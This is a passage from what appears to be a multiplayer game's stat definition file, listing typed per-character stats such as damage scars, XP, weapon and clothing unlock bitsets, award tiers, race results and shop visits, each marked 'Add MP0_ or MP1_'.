+(float)DAMAGE_SCAR_ROTATION_11 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_11 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_11 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_11 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_12 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_12 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_12 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_12 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_12 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_12 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_12 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_13 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_13 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_13 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_13 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_13 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_13 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_13 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_14 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_14 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_14 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_14 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_14 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_14 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_14 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_15 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_15 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_15 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_15 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_15 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_15 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_15 // Add MP0_ or MP1_ // Damage Scar Data - Age + + + + +(u64)CHAR_PREFERRED_CREW // Add MP0_ or MP1_ // preferred crew +(bool)CHAR_ISACTIVE // Add MP0_ or MP1_ // MP Char 0 - Is this slot being used? +(short)CHAR_XP_FM // Add MP0_ or MP1_ // MP Char 0 - XP Value +(short)CHAR_RANK_FM // Add MP0_ or MP1_ // MP Char 0 - XP Value + +(short)NEXT_RANKXP_FM // Add MP0_ or MP1_ // MP Char 0 - XP Value +(short)PREV_RANKXP_FM // Add MP0_ or MP1_ // MP Char 0 - XP Value + +(string)CHAR_NAME // Add MP0_ or MP1_ // MP Char 0 - XP Value +(int)CHAR_WEAPON1 // Add MP0_ or MP1_ // MP Char 0 - Weapon 1 +(int)CHAR_WEAPON2 // Add MP0_ or MP1_ // MP Char 0 - Weapon 2 +(int)CHAR_EQUIPPED_ADDONS // Add MP0_ or MP1_ // MP Char 0 - Equipped addons +(int)CHAR_WEAP_UNLOCKED // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset +(int)CHAR_WEAP_UNLOCKED2 // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset 2 +(int)CHAR_WEAP_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset +(int)CHAR_WEAP_VIEWED2 // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset 2 +(int)CHAR_WEAP_ADDON_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 1 +(int)CHAR_WEAP_ADDON_2_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 2 +(int)CHAR_WEAP_ADDON_3_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 3 +(int)CHAR_WEAP_ADDON_4_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 4 +(int)CHAR_WEAP_ADDON_1_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 1 +(int)CHAR_WEAP_ADDON_2_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 2 +(int)CHAR_WEAP_ADDON_3_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 3 +(int)CHAR_WEAP_ADDON_4_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 4 +(int)CHAR_WEAP_EQUIPPED // Add MP0_ or MP1_ // MP Char 0 - Equipped weapons bitset +(int)CHAR_WEAP_EQUIPPED2 // Add MP0_ or MP1_ // MP Char 0 - Equipped weapons bitset 2 +(int)CHAR_WEAP_ADDON_1_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 1 +(int)CHAR_WEAP_ADDON_2_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 2 +(int)CHAR_WEAP_ADDON_3_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 3 +(int)CHAR_WEAP_ADDON_4_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 4 +(int)CHAR_WEAP_FREE // Add MP0_ or MP1_ // MP Char 0 - Cost Free weapons bitset +(int)CHAR_WEAP_FREE2 // Add MP0_ or MP1_ // MP Char 0 - Cost Free weapons bitset 2 +(int)CHAR_ABILITY_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 1 +(int)CHAR_ABILITY_2_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 +(int)CHAR_ABILITY_3_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 + +(int)CHAR_FM_PACKAGE_1_COLLECT // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 1 +(int)CHAR_FM_PACKAGE_2_COLLECT // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 +(int)CHAR_FM_PACKAGE_3_COLLECT // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 +(int)CHAR_FM_PACKAGE_4_COLLECT // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 1 +(int)CHAR_FM_PACKAGE_5_COLLECT // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 +(int)CHAR_FM_PACKAGE_6_COLLECT // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 +(int)CHAR_FM_PACKAGE_7_COLLECT // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 1 +(int)CHAR_FM_PACKAGE_8_COLLECT // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 +(int)CHAR_FM_PACKAGE_9_COLLECT // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 +(int)CHAR_NO_FM_PACKAGES_COL // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 +(int)CHAR_FM_WEAP_UNLOCKED // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset +(int)CHAR_FM_WEAP_UNLOCKED2 // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset 2 +(int)CHAR_FM_WEAP_ADDON_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 1 +(int)CHAR_FM_WEAP_ADDON_2_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 2 +(int)CHAR_FM_WEAP_ADDON_3_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 3 +(int)CHAR_FM_WEAP_ADDON_4_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 4 +(int)CHAR_FM_WEAP_EQUIPPED // Add MP0_ or MP1_ // MP Char 0 - Equipped weapons bitset +(int)CHAR_FM_WEAP_EQUIPPED2 // Add MP0_ or MP1_ // MP Char 0 - Equipped weapons bitset 2 +(int)CHAR_FM_WEAP_ADDON_1_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 1 +(int)CHAR_FM_WEAP_ADDON_2_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 2 +(int)CHAR_FM_WEAP_ADDON_3_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 3 +(int)CHAR_FM_WEAP_ADDON_4_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 4 + (int)CHAR_FM_WEAP_FREE // Add MP0_ or MP1_ // MP Char 0 - Cost Free weapons bitset +(int)CHAR_FM_WEAP_FREE2 // Add MP0_ or MP1_ // MP Char 0 - Cost Free weapons bitset 2 +(int)CHAR_FM_ABILITY_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 1 +(int)CHAR_FM_ABILITY_2_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 +(int)CHAR_FM_ABILITY_3_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Ability Unlocked bitset 2 + +(int)CHAR_KIT_1_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(int)CHAR_KIT_2_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_KIT_3_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(int)CHAR_KIT_4_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_KIT_5_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(int)CHAR_KIT_6_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_KIT_7_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_KIT_8_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(int)CHAR_KIT_9_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_KIT_1_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 1 +(int)CHAR_KIT_2_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 2 +(int)CHAR_KIT_3_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 3 +(int)CHAR_KIT_4_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 4 +(int)CHAR_KIT_5_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 5 +(int)CHAR_KIT_6_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 6 +(int)CHAR_KIT_7_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 7 +(int)CHAR_KIT_8_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 8 +(int)CHAR_KIT_9_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 9 +(int)CHAR_KIT_1_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 + (int)CHAR_KIT_2_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_KIT_3_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 + (int)CHAR_KIT_4_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_KIT_5_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 + (int)CHAR_KIT_6_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_KIT_7_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_KIT_8_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 + (int)CHAR_KIT_9_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 2 +(int)CHAR_HEIST_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 + +(int)CHAR_CREWUNLOCK_1_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 9 +(int)CHAR_CREWUNLOCK_2_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 9 + +(int)CHAR_CREWUNLOCK_3_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 9 + +(int)CHAR_CREWUNLOCK_4_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 9 + +(int)CHAR_CREWUNLOCK_5_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 9 + + + + +(int)CHAR_FM_CARMOD_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player CarMod Unlocked bitset 1 +(int)CHAR_FM_CARMOD_2_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player CarMod Unlocked bitset 2 +(int)CHAR_FM_CARMOD_3_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player CarMod Unlocked bitset 2 +(int)CHAR_FM_CARMOD_4_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player CarMod Unlocked bitset 2 +(int)CHAR_FM_CARMOD_5_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player CarMod Unlocked bitset 2 +(int)CHAR_FM_CARMOD_6_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player CarMod Unlocked bitset 2 +(int)CHAR_FM_CARMOD_7_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player CarMod Unlocked bitset 2 + + +(int)CHAR_FM_HEALTH_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Health Unlocked bitset 1 +(int)CHAR_FM_HEALTH_2_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Health Unlocked bitset 2 +(int)CHAR_FM_VEHICLE_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Vehicle Unlocked bitset 1 +(int)CHAR_FM_VEHICLE_2_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Vehicle Unlocked bitset 2 +(int)CHAR_FM_CLOTHES_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 1 +(int)CHAR_FM_CLOTHES_2_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 2 +(int)CHAR_FM_CLOTHES_3_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 +(int)CHAR_FM_CLOTHES_4_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 +(int)CHAR_FM_CLOTHES_5_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 +(int)CHAR_FM_CLOTHES_6_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 +(int)CHAR_FM_CLOTHES_7_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 +(int)CHAR_FM_CLOTHES_8_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 +(int)CHAR_FM_CLOTHES_9_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 +(int)CHAR_FM_CLOTHES_10_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 +(int)CHAR_FM_CLOTHES_11_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 + +(int)CHAR_FM_HAIRCUT_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Unlocked bitset 3 + +(int)CHAR_FM_STORED_HAIRDO // Add MP0_ or MP1_ // MP Char 0 - Stored player hairdo +(int)CHAR_FM_FORCED_HAIR_ITEM // Add MP0_ or MP1_ // MP Char 0 - Item that force removed players hair +(int)CHAR_FM_FORCED_HAIR_TYPE // Add MP0_ or MP1_ // MP Char 0 - Type that force removed players hair + +(int)CHAR_FM_PLAT_AWARD_COUNT // Add MP0_ or MP1_ // MP Char 0 - Number Of Platinum Awards a Player has + +(int)CHAR_ACH45_TRACKER // Add MP0_ or MP1_ // MP Char 0 - Bitfield for tracking ACH45 - Enjoy your stay + + +(int)PLATINUM_INTCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_INTCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_INTCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_INTCHAR_3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_FLOATCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_FLOATCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_FLOATCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_BOOLCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_BOOLCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_BOOLCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_INTCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_INTCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_INTCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_INTCHAR_3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_FLOATCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_FLOATCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_FLOATCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_BOOLCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_BOOLCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_BOOLCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_INTCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_INTCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_INTCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_INTCHAR_3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_FLOATCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_FLOATCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_FLOATCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_BOOLCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_BOOLCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_BOOLCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_INTCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_INTCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_INTCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_INTCHAR_3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_FLOATCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_FLOATCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_FLOATCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_BOOLCHAR_0 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_BOOLCHAR_1 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_BOOLCHAR_2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_WEAP_PURCHASED // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_PURCHASED2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_FM_PURCHASE // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_FM_PURCHASE2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_FM_PURCHASE // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_FM_PURCHASE2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_FM_PURCHASE3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_FM_PURCHASE4 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_FM_PURCHASE5 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_FM_PURCHASE6 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_FM_PURCHASE7 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_FM_PURCHASE8 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_FM_PURCHASE9 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)WEAP_FM_ADDON_PURCH // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)WEAP_FM_ADDON_PURCH2 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)WEAP_FM_ADDON_PURCH3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)WEAP_FM_ADDON_PURCH4 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(date)CHAR_DATE_CREATED // Add MP0_ or MP1_ // MP Char 0 - The Date the player created this character + (date)CHAR_DATE_RANKUP // Add MP0_ or MP1_ // MP Char 0 - The Date the player last ranked up + +(u32)CHAR_TOTAL_TIME_MISSION // Add MP0_ or MP1_ // MP Char 0 - MISSIONS -Average time spent on missions (time on missions/number of missions completed) + +(int)CHAR_CURRENT_HEALTH // Add MP0_ or MP1_ // MP Char 0 - Players current health + +(int)CHAR_CURRENT_ARMOUR // Add MP0_ or MP1_ // MP Char 0 - Players current health +(int)CHAR_CURRENT_WANTED // Add MP0_ or MP1_ // MP Char 0 - Players current health +(date)CHAR_LAST_PLAY_TIME // Add MP0_ or MP1_ // MP Char 0 - Players current health + + + +(float)RACES_WON_PC // Add MP0_ or MP1_ // MP Char 0 - Vehicles- Percentage of Races won +(int)RACES_WON // Add MP0_ or MP1_ // MP Char 0 - Vehicles- no of Races won +(int)RACES_LOST // Add MP0_ or MP1_ // MP Char 0 - Vehicles- no of Races LOST +(int)NO_CARS_REPAIR // Add MP0_ or MP1_ // MP Char 0 - Vehicles- No. Cars Repaired +(int)AVERAGE_NO_PASSENGERS // Add MP0_ or MP1_ // MP Char 0 - Vehicles- Average number of passengers +(u64)TIME_DRIVING_PASSENGER // Add MP0_ or MP1_ // MP Char 0 - Vehicles- Time driving passengers +(int)TOTAL_ACCUM_PASSENGER // Add MP0_ or MP1_ // MP Char 0 - Vehicles- Time driving passengers +(int)VEHICLES_SPRAYED // Add MP0_ or MP1_ // MP Char 0 - Vehicles- No of vehicles resprayed + +(int)NO_STOLEN_VEH_SCRIPT // Add MP0_ or MP1_ // MP Char 0 - No cars stolen in script + + +(bool)SHOPFM_DEFAULT_INFO_SET // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_TYPES_VISITED // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_HAIRDO_01_BH // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_HAIRDO_02_SC // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_HAIRDO_03_V // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_HAIRDO_04_SS // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_HAIRDO_05_MP // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_HAIRDO_06_HW // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_HAIRDO_07_PB // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_L_01_SC // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_L_02_GS // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_L_03_DT // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_L_04_CS // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_L_05_GSD // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_L_06_VC // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_L_07_PB // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_M_01_SM // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_M_02_PB // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_M_03_H // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_M_04_HW // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_M_05_GOH // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_H_01_BH // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_H_02_B // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_H_03_MW // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CLOTHES_A_01_VB // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_TATTOO_01_HW // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_TATTOO_02_SS // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_TATTOO_03_PB // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_TATTOO_04_VC // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_TATTOO_05_ELS // Add MP0_ or MP1_ // MP Char 0 - Shop Data 